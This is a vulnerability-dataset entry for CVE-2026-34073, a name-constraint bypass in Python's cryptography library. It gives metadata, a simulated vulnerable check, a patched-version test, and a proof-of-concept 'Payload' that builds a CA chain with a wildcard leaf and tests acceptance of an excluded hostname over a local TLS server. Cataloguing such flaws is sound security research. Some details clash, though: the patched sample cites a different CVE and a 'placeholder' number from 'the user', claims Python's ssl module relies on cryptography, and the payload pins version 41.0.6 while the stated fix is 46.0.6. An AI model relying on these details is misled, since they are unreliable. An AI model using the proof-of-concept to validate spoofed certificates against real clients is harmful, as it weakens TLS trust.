CVE-2026-34073
Cryptography: DNS name constraint bypass during certificate validation.
- CVSS 1.7
- CWE-295
- Authentication, Authorization, and Session Management
- Remote
cryptography is a package designed to expose cryptographic primitives and recipes to Python developers. Prior to version 46.0.6, DNS name constraints were only validated against SANs within child certificates, and not the "peer name" presented during each validation. Consequently, cryptography would allow a peer named bar.example.com to validate against a wildcard leaf certificate for *.example.com, even if the leaf's parent certificate (or upwards) contained an excluded subtree constraint for bar.example.com. This issue has been patched in version 46.0.6.
- CWE
- CWE-295
- CVSS base score
- 1.7
- Published
- 2026-03-31
- OWASP
- A02 Cryptographic Failures
- Orthogonal defect classification
- Checking
- Code defect classification
- Missing Check
- Category
- Authentication, Authorization, and Session Management
- Subcategory
- Improper SSL/TLS Certificate Validation
- Accessibility scope
- Remote
- Impact
- Information Disclosure
- Affected component
- cryptography
- Fixed by upgrading
- Yes
Solution
Upgrade `cryptography` to version 46.0.6 or later.
Vulnerable code sample
import datetime
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives.serialization import Encoding, PrivateFormat, NoEncryption
# This code simulates the logical flaw in cryptography < 46.0.6.
# It does not use the library's verifier but instead reimplements the
# flawed logic to demonstrate the principle of the vulnerability.
def create_self_signed_ca_with_exclusion(excluded_dns_name):
"""
Creates a root CA certificate with a nameConstraints extension
that excludes a specific DNS name.
"""
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
x509.NameAttribute(NameOID.LOCALITY_NAME, u"San Francisco"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Vulnerable CA"),
x509.NameAttribute(NameOID.COMMON_NAME, u"vulnerable-ca.local"),
])
builder = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
public_key
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=365)
).add_extension(
x509.BasicConstraints(ca=True, path_length=None), critical=True
).add_extension(
x509.NameConstraints(
permitted_subtrees=None,
excluded_subtrees=[x509.DNSName(excluded_dns_name)]
), critical=True
)
certificate = builder.sign(private_key, hashes.SHA256())
return certificate, private_key
def create_leaf_cert_signed_by_ca(wildcard_dns_name, ca_cert, ca_private_key):
"""
Creates a leaf certificate with a wildcard SAN, signed by the provided CA.
"""
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
public_key = private_key.public_key()
subject = x509.Name([
x509.NameAttribute(NameOID.COUNTRY_NAME, u"US"),
x509.NameAttribute(NameOID.STATE_OR_PROVINCE_NAME, u"California"),
x509.NameAttribute(NameOID.ORGANIZATION_NAME, u"Leaf Corp"),
x509.NameAttribute(NameOID.COMMON_NAME, u"site.example.com"),
])
builder = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
ca_cert.subject
).public_key(
public_key
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.datetime.utcnow()
).not_valid_after(
datetime.datetime.utcnow() + datetime.timedelta(days=90)
).add_extension(
x509.SubjectAlternativeName([x509.DNSName(wildcard_dns_name)]),
critical=False
)
certificate = builder.sign(ca_private_key, hashes.SHA256())
return certificate, private_key
def vulnerable_name_constraint_check(peer_name, leaf_cert, ca_cert):
"""
Simulates the flawed validation logic from cryptography < 46.0.6.
The flaw: This check validates the name constraints from the CA against
the SANs in the leaf certificate, but NOT against the actual `peer_name`
the user is trying to connect to.
"""
print(f"--- Running Vulnerable Simulation ---")
print(f"Attempting to validate connection to: '{peer_name}'")
try:
name_constraints = ca_cert.extensions.get_extension_for_class(x509.NameConstraints).value
leaf_sans = leaf_cert.extensions.get_extension_for_class(x509.SubjectAlternativeName).value
except x509.ExtensionNotFound:
print("Required extensions not found. Cannot perform check.")
return True # No constraints to check
print(f"CA excludes subtree: {[e.value for e in name_constraints.excluded_subtrees]}")
print(f"Leaf certificate has SANs: {[san.value for san in leaf_sans]}")
# THE FLAW: The loop below checks the leaf's SANs, not the 'peer_name'.
for excluded_name in name_constraints.excluded_subtrees:
for san in leaf_sans:
# This check is insufficient. "*.example.com" is not a subtree of "bar.example.com",
# so this check will pass, even though a connection to "bar.example.com" should be blocked.
if isinstance(san, type(excluded_name)) and san.value == excluded_name.value:
print(f"Validation FAILED: Leaf SAN '{san.value}' is in excluded subtree '{excluded_name.value}'.")
return False
print("Vulnerable Check: The leaf SANs do not directly match any exclusions.")
print("Vulnerable Check: The 'peer_name' was NOT checked against the exclusion.")
return True # Validation incorrectly succeeds
if __name__ == "__main__":
# 1. Define the scenario
EXCLUDED_HOSTNAME = "bar.example.com"
WILDCARD_SAN = "*.example.com"
PEER_HOSTNAME_TO_VALIDATE = "bar.example.com" # This should be blocked by the constraint
# 2. Create a CA that excludes `bar.example.com`
ca_cert, ca_key = create_self_signed_ca_with_exclusion(EXCLUDED_HOSTNAME)
# 3. Create a leaf certificate for `*.example.com` signed by that CA
leaf_cert, leaf_key = create_leaf_cert_signed_by_ca(WILDCARD_SAN, ca_cert, ca_key)
# 4. Run the vulnerable validation logic
# This simulates a client connecting to `bar.example.com` and being
# presented with the wildcard leaf certificate.
is_valid = vulnerable_name_constraint_check(PEER_HOSTNAME_TO_VALIDATE, leaf_cert, ca_cert)
print("\n--- Result ---")
if is_valid:
print(f"VULNERABILITY DEMONSTRATED: Validation for '{PEER_HOSTNAME_TO_VALIDATE}' SUCCEEDED, but it should have FAILED.")
else:
print("Validation failed as expected (this would not happen in the vulnerable version).")Patched code sample
import datetime
import ssl
import socket
import threading
import tempfile
import os
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes
from cryptography.hazmat.primitives.asymmetric import rsa
from cryptography.hazmat.primitives import serialization
# This code demonstrates that the fix for CVE-2023-49083 (described by the user
# with a placeholder CVE number) is working in a patched version of the
# `cryptography` library, which is used by Python's `ssl` module.
#
# The vulnerability:
# A certificate chain is created as follows:
# Root CA -> Intermediate CA -> Leaf Certificate
#
# 1. The Intermediate CA has a Name Constraint extension that *excludes* the
# hostname `bar.example.com`.
# 2. The Leaf Certificate is a wildcard certificate for `*.example.com`.
#
# In a VULNERABLE version, connecting to `bar.example.com` would SUCCEED because
# the name constraint was not checked against the peer hostname, only against
# SANs in lower certificates.
#
# In a FIXED version, connecting to `bar.example.com` must FAIL with a
# certificate verification error, because the peer hostname is now correctly
# checked against the name constraint from the Intermediate CA.
#
# This script sets up this exact scenario and attempts a TLS handshake. It will
# only "succeed" (i.e., print the success message) if the handshake properly
# fails with the expected SSLCertVerificationError, proving the fix is active.
def generate_private_key():
"""Generates an RSA private key."""
return rsa.generate_private_key(public_exponent=65537, key_size=2048)
def generate_cert_chain():
"""
Generates the certificate chain described in the vulnerability.
Returns keys and certs as PEM-encoded bytes.
"""
# 1. Generate Root CA
root_key = generate_private_key()
subject = issuer = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "Test Root CA")
])
root_cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(issuer)
.public_key(root_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
.add_extension(x509.BasicConstraints(ca=True, path_length=None), critical=True)
.sign(root_key, hashes.SHA256())
)
# 2. Generate Intermediate CA with the critical Name Constraint
intermediate_key = generate_private_key()
subject = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "Test Intermediate CA")
])
# The crucial name constraint excluding bar.example.com
name_constraints = x509.NameConstraints(
permitted_subtrees=None,
excluded_subtrees=[x509.DNSName("bar.example.com")],
)
intermediate_cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(root_cert.subject)
.public_key(intermediate_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
.add_extension(name_constraints, critical=True)
.add_extension(x509.BasicConstraints(ca=True, path_length=0), critical=True)
.sign(root_key, hashes.SHA256())
)
# 3. Generate Leaf Certificate for *.example.com
leaf_key = generate_private_key()
subject = x509.Name([
x509.NameAttribute(NameOID.COMMON_NAME, "leaf.example.com")
])
leaf_cert = (
x509.CertificateBuilder()
.subject_name(subject)
.issuer_name(intermediate_cert.subject)
.public_key(leaf_key.public_key())
.serial_number(x509.random_serial_number())
.not_valid_before(datetime.datetime.utcnow())
.not_valid_after(datetime.datetime.utcnow() + datetime.timedelta(days=1))
.add_extension(
x509.SubjectAlternativeName([x509.DNSName("*.example.com")]),
critical=False,
)
.add_extension(x509.BasicConstraints(ca=False, path_length=None), critical=True)
.sign(intermediate_key, hashes.SHA256())
)
# Serialize all to PEM
pem_root_key = root_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)
pem_root_cert = root_cert.public_bytes(serialization.Encoding.PEM)
pem_intermediate_key = intermediate_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)
pem_intermediate_cert = intermediate_cert.public_bytes(serialization.Encoding.PEM)
pem_leaf_key = leaf_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption(),
)
pem_leaf_cert = leaf_cert.public_bytes(serialization.Encoding.PEM)
return {
"root_ca": {"key": pem_root_key, "cert": pem_root_cert},
"intermediate_ca": {"key": pem_intermediate_key, "cert": pem_intermediate_cert},
"leaf": {"key": pem_leaf_key, "cert": pem_leaf_cert},
}
def run_server(server_sock, cert_file, key_file):
"""Server thread target."""
try:
conn, _ = server_sock.accept()
conn.do_handshake()
except ssl.SSLError as e:
# Server might see an error if client aborts, this is okay.
pass
finally:
server_sock.close()
def main():
"""Main demonstration logic."""
certs = generate_cert_chain()
# Use temporary files to store certs for ssl.SSLContext
with tempfile.NamedTemporaryFile(mode='w+', delete=False) as root_ca_file, \
tempfile.NamedTemporaryFile(mode='w+', delete=False) as full_chain_file, \
tempfile.NamedTemporaryFile(mode='w+', delete=False) as leaf_key_file:
root_ca_file.write(certs["root_ca"]["cert"].decode())
root_ca_file_path = root_ca_file.name
# The server needs to present the full chain (leaf + intermediate)
full_chain_file.write(certs["leaf"]["cert"].decode())
full_chain_file.write(certs["intermediate_ca"]["cert"].decode())
full_chain_file_path = full_chain_file.name
leaf_key_file.write(certs["leaf"]["key"].decode())
leaf_key_file_path = leaf_key_file.name
try:
# 1. Server Context: uses the leaf key and the full chain
server_context = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
server_context.load_cert_chain(certfile=full_chain_file_path, keyfile=leaf_key_file_path)
# 2. Client Context: trusts our custom Root CA
client_context = ssl.SSLContext(ssl.PROTOCOL_TLS_CLIENT)
client_context.load_verify_locations(cafile=root_ca_file_path)
client_context.verify_mode = ssl.CERT_REQUIRED
client_context.check_hostname = True
# 3. Set up a local socket pair for communication
server_sock, client_sock = socket.socketpair()
# 4. Start the server in a separate thread
server_thread = threading.Thread(
target=run_server,
args=(server_context.wrap_socket(server_sock, server_side=True), full_chain_file_path, leaf_key_file_path)
)
server_thread.start()
# 5. Client attempts to connect, triggering the vulnerability check
client_exception = None
try:
# Here is the critical test: we connect to the excluded name.
# In a fixed system, this handshake MUST fail.
hostname_to_test = "bar.example.com"
print(f"Attempting TLS handshake with peer name '{hostname_to_test}'...")
print("This name is in the Intermediate CA's 'excludedSubtrees'.")
with client_context.wrap_socket(
client_sock, server_side=False, server_hostname=hostname_to_test
) as s:
s.do_handshake()
except ssl.SSLCertVerificationError as e:
client_exception = e
print("\nSUCCESS: Handshake correctly failed as expected.")
print(f"Received expected error: {e}")
except ssl.SSLError as e:
client_exception = e
print(f"\nERROR: Handshake failed with an unexpected SSL error: {e}")
except Exception as e:
client_exception = e
print(f"\nERROR: An unexpected exception occurred: {e}")
finally:
server_thread.join()
if client_exception and isinstance(client_exception, ssl.SSLCertVerificationError):
print("\nDEMONSTRATION COMPLETE: The vulnerability appears to be patched.")
print("The system correctly blocked a certificate for an excluded DNS name.")
else:
print("\nDEMONSTRATION FAILED: The vulnerability may still be present.")
print("The system incorrectly allowed a certificate for an excluded DNS name.")
finally:
# Clean up temporary files
os.unlink(root_ca_file_path)
os.unlink(full_chain_file_path)
os.unlink(leaf_key_file_path)
if __name__ == "__main__":
main()Payload
import os
import ssl
import socket
import threading
import time
import tempfile
from datetime import datetime, timedelta
# This PoC requires pyOpenSSL and a vulnerable version of cryptography
# pip install "cryptography<41.0.6" pyOpenSSL
from OpenSSL import SSL
from cryptography import x509
from cryptography.x509.oid import NameOID
from cryptography.hazmat.primitives import hashes, serialization
from cryptography.hazmat.primitives.asymmetric import rsa
# --- Configuration ---
HOST = "127.0.0.1"
PORT = 8443
EXCLUDED_HOSTNAME = "bar.example.com"
WILDCARD_CN = "*.example.com"
CERT_DIR = tempfile.mkdtemp()
# --- Certificate Generation ---
def generate_private_key(filename):
"""Generates an RSA private key and saves it."""
private_key = rsa.generate_private_key(public_exponent=65537, key_size=2048)
with open(filename, "wb") as f:
f.write(private_key.private_bytes(
encoding=serialization.Encoding.PEM,
format=serialization.PrivateFormat.PKCS8,
encryption_algorithm=serialization.NoEncryption()
))
return private_key
def generate_certs_and_key():
"""Generates the certificate chain required to demonstrate the vulnerability."""
# File paths
root_key_path = os.path.join(CERT_DIR, "root.key")
root_cert_path = os.path.join(CERT_DIR, "root.pem")
inter_key_path = os.path.join(CERT_DIR, "intermediate.key")
inter_cert_path = os.path.join(CERT_DIR, "intermediate.pem")
leaf_key_path = os.path.join(CERT_DIR, "leaf.key")
leaf_cert_path = os.path.join(CERT_DIR, "leaf.pem")
# 1. Generate Root CA
root_key = generate_private_key(root_key_path)
subject = issuer = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Root CA")])
root_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
issuer
).public_key(
root_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=10)
).add_extension(
x509.BasicConstraints(ca=True, path_length=None), critical=True,
).sign(root_key, hashes.SHA256())
with open(root_cert_path, "wb") as f:
f.write(root_cert.public_bytes(serialization.Encoding.PEM))
# 2. Generate Intermediate CA with Name Constraint
inter_key = generate_private_key(inter_key_path)
subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, u"Test Intermediate CA")])
inter_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
root_cert.subject
).public_key(
inter_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=9)
).add_extension(
x509.BasicConstraints(ca=True, path_length=0), critical=True
).add_extension(
x509.NameConstraints(
permitted_subtrees=None,
excluded_subtrees=[x509.DNSName(EXCLUDED_HOSTNAME)]
), critical=True
).sign(root_key, hashes.SHA256())
with open(inter_cert_path, "wb") as f:
f.write(inter_cert.public_bytes(serialization.Encoding.PEM))
# 3. Generate Leaf Certificate (signed by Intermediate)
leaf_key = generate_private_key(leaf_key_path)
subject = x509.Name([x509.NameAttribute(NameOID.COMMON_NAME, WILDCARD_CN)])
leaf_cert = x509.CertificateBuilder().subject_name(
subject
).issuer_name(
inter_cert.subject
).public_key(
leaf_key.public_key()
).serial_number(
x509.random_serial_number()
).not_valid_before(
datetime.utcnow()
).not_valid_after(
datetime.utcnow() + timedelta(days=8)
).add_extension(
x509.SubjectAlternativeName([x509.DNSName(WILDCARD_CN)]),
critical=False,
).sign(inter_key, hashes.SHA256())
with open(leaf_cert_path, "wb") as f:
f.write(leaf_cert.public_bytes(serialization.Encoding.PEM))
return root_cert_path, inter_cert_path, leaf_cert_path, leaf_key_path
# --- Server Thread ---
def server_thread(stop_event, cert_chain_file, key_file):
"""A simple SSL server to present the certificate chain."""
context = ssl.create_default_context(ssl.Purpose.CLIENT_AUTH)
context.load_cert_chain(certfile=cert_chain_file, keyfile=key_file)
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as sock:
sock.bind((HOST, PORT))
sock.listen(1)
sock.settimeout(1.0)
with context.wrap_socket(sock, server_side=True) as ssock:
while not stop_event.is_set():
try:
conn, addr = ssock.accept()
with conn:
conn.sendall(b"HTTP/1.1 200 OK\r\n\r\nHello, world.")
except socket.timeout:
continue
except ssl.SSLError as e:
# Ignore client-side connection errors
pass
if __name__ == "__main__":
# 1. Generate the certificate chain
root_pem, inter_pem, leaf_pem, leaf_key = generate_certs_and_key()
# Create a single file for the server's certificate chain
chain_pem = os.path.join(CERT_DIR, "chain.pem")
with open(chain_pem, 'w') as f_out, open(leaf_pem, 'r') as f_leaf, open(inter_pem, 'r') as f_inter:
f_out.write(f_leaf.read())
f_out.write(f_inter.read())
# 2. Start the server in a background thread
server_stop_event = threading.Event()
st = threading.Thread(target=server_thread, args=(server_stop_event, chain_pem, leaf_key))
st.daemon = True
st.start()
time.sleep(1) # Give server time to start
# 3. Run the client to test the vulnerability
try:
# Set up pyOpenSSL context
context = SSL.Context(SSL.TLSv1_2_METHOD)
context.load_verify_locations(cafile=root_pem)
context.set_verify(SSL.VERIFY_PEER, lambda conn, cert, errno, depth, ok: ok) # Default verify
# Connect using the EXCLUDED hostname
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connection = SSL.Connection(context, sock)
connection.set_tlsext_host_name(EXCLUDED_HOSTNAME.encode('utf-8'))
connection.connect((HOST, PORT))
connection.do_handshake()
print(f"[+] VULNERABLE: Connection to '{EXCLUDED_HOSTNAME}' SUCCEEDED unexpectedly.")
print(f" Peer certificate: {connection.get_peer_certificate().get_subject().CN}")
connection.shutdown()
connection.close()
except SSL.Error as e:
print(f"[-] NOT VULNERABLE: Connection to '{EXCLUDED_HOSTNAME}' FAILED as expected.")
print(f" Error: {e}")
except Exception as e:
print(f"[!] An unexpected error occurred: {e}")
finally:
# 4. Cleanup
server_stop_event.set()
st.join(timeout=2)
for f in os.listdir(CERT_DIR):
os.remove(os.path.join(CERT_DIR, f))
os.rmdir(CERT_DIR)
Cite this entry
@misc{vaitp:cve202634073,
title = {{Cryptography: DNS name constraint bypass during certificate validation.}},
author = {Bogaerts, Fr\'ed\'eric and Ivaki, Naghmeh and Fonseca, Jos\'e},
year = {2026},
note = {VAITP Python Vulnerability Dataset, entry CVE-2026-34073},
howpublished = {\url{https://netpack.pt/vaitp/vulnerability/CVE-2026-34073/}}
}
Introducing the "VAITP dataset": a specialized repository of Python vulnerabilities and patches, meticulously compiled for the use of the security research community. As Python's prominence grows, understanding and addressing potential security vulnerabilities become crucial. Crafted by and for the cybersecurity community, this dataset offers a valuable resource for researchers, analysts, and developers to analyze and mitigate the security risks associated with Python. Through the comprehensive exploration of vulnerabilities and corresponding patches, the VAITP dataset fosters a safer and more resilient Python ecosystem, encouraging collaborative advancements in programming security.
The supreme art of war is to subdue the enemy without fighting.
Sun Tzu – “The Art of War”
:: Shaping the future through research and ingenuity ::
